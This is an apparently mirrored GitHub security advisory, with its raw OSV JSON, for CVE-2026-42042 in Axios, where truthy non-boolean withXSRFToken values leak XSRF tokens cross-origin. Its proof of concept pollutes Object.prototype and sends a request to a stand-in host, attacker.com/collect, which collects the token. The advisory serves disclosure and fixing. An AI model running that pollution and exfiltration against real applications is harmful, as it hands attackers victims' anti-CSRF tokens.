GHSA-XX6V-RP6X-Q39C中危已审查

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

OSV 1.4.0 · github-reviewed · 修改于 2026-05-05 08:25

发布时间

2026-05-05 08:25

GitHub 审查时间

2026-05-05 08:25

NVD 发布时间

2026-04-25 02:16

源文件

advisories/github-reviewed/2026/05/GHSA-xx6v-rp6x-q39c/GHSA-xx6v-rp6x-q39c.json

公告说明

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	Required	Victim must use browser with axios making cross-origin requests
Scope	Unchanged	Token leakage within browser context
Confidentiality	Low

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior:

true → always send token (explicit cross-origin opt-in)
false → never send token
undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []):

All treated as truthy → same-origin check skipped → token sent everywhere

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
Attacker still needs a way to deliver the forged request after obtaining the token

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: corrected CVSS, documented limitations
TBD	Report submitted to vendor via GitHub Security Advisory

受影响的软件包

npm

axios

ECOSYSTEM

引入1.0.0修复1.15.1

npm

axios

ECOSYSTEM

引入0修复0.31.1

标识信息

别名 / CVE

CVE-2026-42042

CWE

CWE-183CWE-201

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

原始 OSV JSON

{
  "id": "GHSA-xx6v-rp6x-q39c",
  "aliases": [
    "CVE-2026-42042"
  ],
  "details": "# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check — only applies if withXSRFToken is a function\nwithXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n//  ^^^^^^^^^^^^^^^^\n//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits\n//  isURLSameOrigin() is NEVER called → token sent to ANY origin\n  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n**Designed behavior:**\n- `true` → always send token (explicit cross-origin opt-in)\n- `false` → never send token\n- `undefined` → send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy → same-origin check skipped → token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get('https://attacker.com/collect');\n// → attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value        Sends Token Cross-Origin  Expected\ntrue (boolean)             YES                       Yes (opt-in)\nfalse (boolean)            No                        No\nundefined (default)        No                        No\n1 (number)                 YES ← BUG                No\n\"false\" (string)           YES ← BUG                No\n{} (object)                YES ← BUG                No\n[] (array)                 YES ← BUG                No\n\nPrototype pollution:\n  Object.prototype.withXSRFToken = 1\n  config.withXSRFToken = 1 → leaks=true\n  isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n  (withXSRFToken == null && isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "summary": "Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ]
        }
      ],
      "package": {
        "name": "axios",
        "ecosystem": "npm"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ]
        }
      ],
      "package": {
        "name": "axios",
        "ecosystem": "npm"
      },
      "database_specific": {
        "last_known_affected_version_range": "<= 0.31.0"
      }
    }
  ],
  "modified": "2026-05-05T00:25:22Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
    }
  ],
  "published": "2026-05-05T00:25:22Z",
  "references": [
    {
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c",
      "type": "WEB"
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42042",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/axios/axios",
      "type": "PACKAGE"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-201"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "github_reviewed_at": "2026-05-05T00:25:22Z"
  }
}

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

CWE

CVSS 3.1

Usage of "Helper" Vulnerabilities

Vulnerable Code

Proof of Concept

Verified PoC Output

Impact Analysis

Recommended Fix

Resources

Timeline

axios

axios

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion